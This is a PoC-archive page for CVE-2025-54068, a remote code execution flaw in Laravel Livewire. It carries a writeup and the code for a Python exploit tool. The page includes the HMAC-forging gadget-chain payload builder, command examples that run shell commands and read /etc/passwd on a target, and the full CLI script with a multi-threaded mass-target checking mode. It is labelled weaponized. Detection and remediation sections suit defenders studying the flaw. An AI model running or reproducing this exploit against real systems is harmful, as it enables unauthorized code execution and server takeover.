PoC Archive PoC Archive
Critical CVE-2025-54068 unpatched

Laravel Livewire Remote Code Execution via Known APP_KEY (CVE-2025-54068)

by haxorstars (recode of original research by Synacktiv / Livepyre) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-54068
Category
web
Affected product
Laravel Livewire (versions prior to v3.6.4)
Affected versions
Livewire < v3.6.4 (per repository's bundled versions.json version-hash fingerprinting)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherhaxorstars (recode of original research by Synacktiv / Livepyre)
CVE / AdvisoryCVE-2025-54068
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagslaravel, livewire, php, deserialization, app-key, hmac-forgery, gadget-chain, rce, cwe-502, python
RelatedN/A

Affected Target

FieldValue
Software / SystemLaravel Livewire (versions prior to v3.6.4)
Versions AffectedLivewire < v3.6.4 (per repository’s bundled versions.json version-hash fingerprinting)
Language / PlatformPython 3 exploit client targeting a PHP/Laravel + Livewire web application
Authentication RequiredNo application session required, but the attacker must know (or have leaked/brute-forced) the target’s Laravel APP_KEY
Network Access RequiredYes

Summary

Laravel Livewire serializes component state into a wire:snapshot HTML attribute and protects it with an HMAC-SHA256 checksum keyed on the application’s APP_KEY. If an attacker obtains the APP_KEY (leaked .env, default/demo key, weak secret, etc.), they can craft an arbitrary snapshot payload, sign it with a correctly computed checksum, and submit it to Livewire’s component-update endpoint. Because Livewire trusts any snapshot whose checksum matches, a forged snapshot containing nested serialized PHP objects (Illuminate\Broadcasting\BroadcastEvent, Illuminate\Validation\Validator, Laravel\SerializableClosure\Serializers\Signed, GuzzleHttp\Psr7\FnStream, etc.) reaches a PHP-object-injection gadget chain that invokes an arbitrary PHP function (e.g. system, shell_exec, or unserialize of a further attacker-supplied payload) with attacker-controlled arguments, yielding remote code execution. This repository (a Python recode of Synacktiv’s original “Livepyre” PoC) automates the whole chain: locating the Livewire snapshot and CSRF token on a page, rebuilding a malicious snapshot with the injected gadget, HMAC-signing it using the supplied APP_KEY, and POSTing it to the discovered Livewire update URI.


Vulnerability Details

Root Cause

Livewire snapshots are integrity-protected only by an HMAC-SHA256 checksum field computed over the JSON-encoded snapshot using the APP_KEY as the HMAC key. Anyone holding the APP_KEY can produce a snapshot with arbitrary data content and a still-valid checksum — there is no additional server-side session binding preventing forgery of a snapshot with attacker-chosen values. The exploit rewrites a legitimate snapshot’s first data entry into a PHP object-injection gadget chain and re-signs it (from exploit/exploit_appkey.py):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def checksum(self, snapshot):
    parsed_key = self.laravel_encrypter.retrieve_key(self.app_key)
    h = hmac.new(parsed_key, snapshot.encode("utf-8"), hashlib.sha256)
    return str(h.hexdigest())

def build_payload(self, snapshot):
    first_arg = list(snapshot['data'].keys())[0]
    snapshot['data'][first_arg] = [{"a":[{"__toString":"phpversion","close":[[[{"chained":
        ["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{...
         s:10:\"extensions\";a:1:{s:0:\"\";s:"+str(len(self.function))+":\""+self.function+"\";}}
         s:8:\"\x00*\x00event\";s:"+str(len(self.param))+":\""+self.param+"\";}...}"]},
        {"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}], "dispatchNextJobInChain"],
        {"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]}, ...]
    # Due to PHP's json_encode() escaping quirks, "/" must be replaced with "\/"
    snapshot['checksum'] = self.checksum(json.dumps(snapshot).replace(" ","").replace("/","\/"))

Once the checksum is recomputed with the known APP_KEY, the server cannot distinguish this forged snapshot from a legitimate one, and Livewire’s update handler deserializes/dispatches the injected chain, ultimately calling the attacker-chosen PHP function with param as its argument.

Attack Vector

  1. Identify a page serving a Livewire component (the string livewire and a wire:snapshot="..." attribute present in the HTML).
  2. Fingerprint the Livewire version from bundled asset hashes against a lookup table (exploit/versions.json) and confirm it is < v3.6.4.
  3. Extract the page’s CSRF token and the Livewire component “update URI” from the HTML/inline JS config.
  4. Extract one of the page’s wire:snapshot values, strip its existing checksum, and rewrite its first data entry with a PHP object-injection gadget chain resolving to an arbitrary function(param) call — optionally wrapping a richer custom_exec-style PHP payload (payloads/custom_functions.php) invoked via unserialize for shell/file/DB/network operations in one shot.
  5. Recompute the snapshot’s HMAC-SHA256 checksum using the known/leaked Laravel APP_KEY.
  6. POST the forged {"_token": csrf, "components":[{"snapshot": ..., "updates":{}, "calls":[]}]} payload to the Livewire update endpoint; the server validates the checksum, trusts the snapshot, executes the injected call chain, and the command output is returned in the HTTP response body.

Impact

Full remote code execution as the web server/PHP-FPM user on any Laravel application using a vulnerable Livewire version, provided the attacker knows the APP_KEY — a realistic condition given how often APP_KEY values leak via exposed .env files, public GitHub repositories, Laravel debug/error pages, or default/demo installs.


Environment / Lab Setup

Target:   Laravel application using Livewire < v3.6.4, with a discoverable APP_KEY
          (leaked .env, debug endpoint, or hardcoded/default key)
Attacker: Python 3.9+
          pip install -r requirements.txt   (requests, pycryptodome, etc.)
          Install as CLI: pipx install git+https://github.com/haxorstars/CVE-2025-54068
                       or: uv tool install git+https://github.com/haxorstars/CVE-2025-54068

Proof of Concept

PoC Script

See gas.py (CLI entry point), exploit/exploit.py, exploit/exploit_appkey.py, exploit/exploit_wappkey.py, exploit/payload_generator.py, exploit/mass.py, exploit/laravel_crypto/ and payloads/custom_functions.php in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
livewire-rce-2025 -u https://TARGET -a "base64:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX="

livewire-rce-2025 -u https://TARGET -a "base64:...appkey..." --custom-function "shell:id;uname -a"

livewire-rce-2025 -u https://TARGET -a "base64:...appkey..." --custom-function "read:/etc/passwd"

livewire-rce-2025 -u https://TARGET -a "base64:...appkey..." --custom-file payloads/custom_functions.php --param "shell:id"

livewire-rce-2025 --generate-payload --custom-function "shell:ls -la"

livewire-rce-2025 --mass-check targets.txt -t 20 -o results.json

Detection & Indicators of Compromise

Signs of compromise:

  • POST requests to the Livewire update URI whose components[].snapshot field contains serialized PHP class names not used by the legitimate component
  • Unexpected shell command output or file contents appearing in HTTP responses from a Livewire update endpoint
  • Presence of leaked .env files, exposed debug pages, or a default/weak APP_KEY on the target application
  • Anomalous child processes (sh, bash, id, uname, etc.) spawned by the PHP-FPM/web server process

Remediation

ActionDetail
Primary fixUpgrade Livewire to v3.6.4 or later, and immediately rotate/regenerate the Laravel APP_KEY if it has ever been exposed
Interim mitigationEnsure .env files and debug/diagnostic endpoints are never web-accessible, keep APP_DEBUG=false in production, and monitor Livewire update endpoints for anomalous/oversized snapshot payloads

References


Notes

Mirrored from https://github.com/haxorstars/CVE-2025-54068 on 2026-07-06. The tool is an acknowledged recode of Synacktiv’s public Livepyre PoC with added features (custom function/PHP payload injection, mass-check mode, payload-only generation); the underlying exploit logic (HMAC checksum forgery + PHP gadget-chain snapshot injection) is functional and CVE-specific.

gas.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#!/usr/bin/env python3

import argparse
import warnings
warnings.filterwarnings("ignore")

from exploit.exploit_appkey import ExploitWithAppKey
from exploit.exploit_wappkey import ExploitWithoutAppKey

# Import fitur baru
from exploit.payload_generator import CustomPayloadGenerator
from exploit.mass import LivewireMassChecker

def format_url(url: str) -> str:
    """Format URL dengan auto-protocol detection (safety check)"""
    import requests
    from requests.exceptions import RequestException
    
    url = url.strip()
    
    # Jika sudah ada protocol, return as is
    if url.startswith(("http://", "https://")):
        return url
    
    # Auto-detect dengan HEAD request
    protocols = ["https://", "http://"]
    
    for protocol in protocols:
        try:
            test_url = f"{protocol}{url}"
            response = requests.head(
                test_url, 
                timeout=3, 
                verify=False,
                allow_redirects=True,
                headers={'User-Agent': 'Mozilla/5.0'}
            )
            if response.status_code < 500:
                return test_url
        except RequestException:
            continue
    
    # Default ke HTTPS
    return f"https://{url}"

def main():
    parser = argparse.ArgumentParser(
        description="Livewire RCE Exploit Tool - Enhanced Version",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic exploit
  %(prog)s -u https://target.com
  
  # With custom function
  %(prog)s -u https://target.com --custom-function "shell:ls -la"
  
  # With APP_KEY
  %(prog)s -u https://target.com -a "base64_app_key"
  
  # Mass check
  %(prog)s --mass-check targets.txt -o results.json
  
  # Generate payload only
  %(prog)s --generate-payload --function "read:/etc/passwd"
        """
    )
    
    # Basic arguments
    parser.add_argument("-u", "--url", help="Target URL (with or without protocol)")
    parser.add_argument("-f", "--function", default="system", help="PHP function to execute")
    parser.add_argument("-p", "--param", default="id", help="Parameter for function")
    parser.add_argument("-a", "--app-key", help="APP_KEY to sign snapshot")
    
    # Advanced features
    parser.add_argument("--custom-function", help="Custom command for custom_exec (format: function:param)")
    parser.add_argument("--custom-file", help="PHP file with custom_exec function")
    parser.add_argument("--generate-payload", action="store_true", help="Generate payload only (no exploit)")
    parser.add_argument("--payload-output", help="Output file for generated payload")
    
    # Mass checking
    parser.add_argument("--mass-check", help="File with list of targets to check")
    parser.add_argument("-o", "--output", help="Output file for results")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Threads for mass check")
    parser.add_argument("--output-format", choices=['json', 'csv', 'both'], default='json', help="Output format for results")
    parser.add_argument("--realtime", action='store_true', help="Enable realtime saving of results")
    
    # Original tool arguments
    parser.add_argument("-H", "--headers", action="append", help="Headers to add")
    parser.add_argument("-P", "--proxy", help="Proxy URL")
    parser.add_argument("-d", "--debug", action="store_true", help="Enable debug output")
    parser.add_argument("-F", "--force", action="store_true", help="Force exploit")
    parser.add_argument("-c", "--check", action="store_true", help="Only check if vulnerable")
    
    
    args = parser.parse_args()
    
    # Validate arguments
    if not args.url and not args.mass_check and not args.generate_payload:
        parser.error("Either --url, --mass-check, or --generate-payload is required")
    
    # ========== MODE 1: GENERATE PAYLOAD ONLY ==========
    if args.generate_payload:
        generator = CustomPayloadGenerator()
        
        if args.custom_function:
            # Custom function format: shell:ls -la
            payload = generator.generate_custom_payload(args.custom_function)
        elif args.custom_file:
            # Load from PHP file
            with open(args.custom_file, 'r') as f:
                php_code = f.read()
            payload = generator.generate_from_php_code(php_code, args.param)
        else:
            # Standard payload
            payload = generator.generate_standard_payload(args.function, args.param)
        
        print(f"[*] Generated payload:\n{payload}")
        
        if args.payload_output:
            with open(args.payload_output, 'w') as f:
                f.write(payload)
            print(f"[+] Payload saved to {args.payload_output}")
        
        # Generate base64 version untuk tools original
        import base64
        payload_b64 = base64.b64encode(payload.encode()).decode()
        print(f"\n[*] Base64 encoded (for unserialize):\n{payload_b64}")
        return
    
    # ========== MODE 2: MASS CHECK ==========
    if args.mass_check:
        checker = LivewireMassChecker(
            threads=args.threads,
            timeout=10,
            proxy=args.proxy,
            debug=args.debug
        )
        
        # Jika realtime mode
        if args.realtime:
            checker = StreamingMassChecker(
                threads=args.threads,
                timeout=10,
                proxy=args.proxy,
                debug=args.debug,
                output_file=args.output
            )
            
            # Tambahkan callbacks
            checker.add_callback(print_to_console)
            
            if args.output_format in ['csv', 'both']:
                csv_file = args.output.replace('.json', '.csv') if args.output else 'results.csv'
                checker.add_callback(lambda r: save_to_csv(r, csv_file))
        
        checker.check_from_file(args.mass_check, args.output)
        return
    
    # ========== MODE 3: SINGLE TARGET EXPLOIT ==========
    
    # Format URL jika perlu
    target_url = format_url(args.url)
    print(f"[*] Target: {target_url}")
    
    # Jika ada custom function, kita perlu generate payload khusus
    if args.custom_function or args.custom_file:
        print("[*] Using custom payload mode")
        
        # Generate custom payload
        generator = CustomPayloadGenerator()
        
        if args.custom_file:
            with open(args.custom_file, 'r') as f:
                php_code = f.read()
            serialized_payload = generator.generate_from_php_code(php_code, args.param)
        else:
            # custom_function format: shell:ls -la
            serialized_payload = generator.generate_custom_payload(args.custom_function)
        
        # Untuk tools original, kita perlu base64 encode dan gunakan unserialize
        import base64
        payload_b64 = base64.b64encode(serialized_payload.encode()).decode()
        
        # Override param dengan payload base64
        args.param = payload_b64
        args.function = "unserialize"  # Karena payload kita sudah serialized
        
        print(f"[*] Using unserialize with custom payload")
        if args.debug:
            print(f"[DEBUG] Payload: {serialized_payload[:100]}...")
            print(f"[DEBUG] Base64: {payload_b64[:50]}...")
    
    # Jalankan exploit dengan class yang sesuai
    if args.app_key is not None:
        exploit = ExploitWithAppKey(
            target_url, args.debug, args.function, args.param, 
            args.headers, args.proxy, args.app_key
        )
    else:
        exploit = ExploitWithoutAppKey(
            target_url, args.debug, args.function, args.param, 
            args.headers, args.proxy, args.check, args.force
        )
    
    exploit.run()

if __name__ == "__main__":
    main()